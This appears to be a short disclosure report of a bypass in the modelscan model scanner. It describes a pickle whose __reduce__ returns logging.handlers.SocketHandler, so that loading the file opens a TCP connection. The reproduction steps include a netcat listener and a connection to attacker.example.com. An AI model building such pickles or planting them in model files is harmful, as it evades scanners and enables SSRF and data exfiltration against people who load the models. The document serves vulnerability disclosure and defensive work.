Modelscan Bypass: logging.handlers.SocketHandler SSRF
Summary
logging.handlers.SocketHandler is NOT in modelscan's blocklist.
On unpickle, it immediately attempts a TCP connection to the specified host:port.
Impact: HIGH (SSRF/Data Exfiltration)
Attacker can exfiltrate data from internal networks by pointing the handler at internal services.
Reproduction
modelscan scan -p model.pkl
# Output: "No issues found"
# Start a listener: nc -l 9999
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))"
# TCP connection made to attacker.example.com:9999
PoC Details
- File: model.pkl (68 bytes)
- Technique:
__reduce__returns(logging.handlers.SocketHandler, ('host', port)) - modelscan version: 0.7.6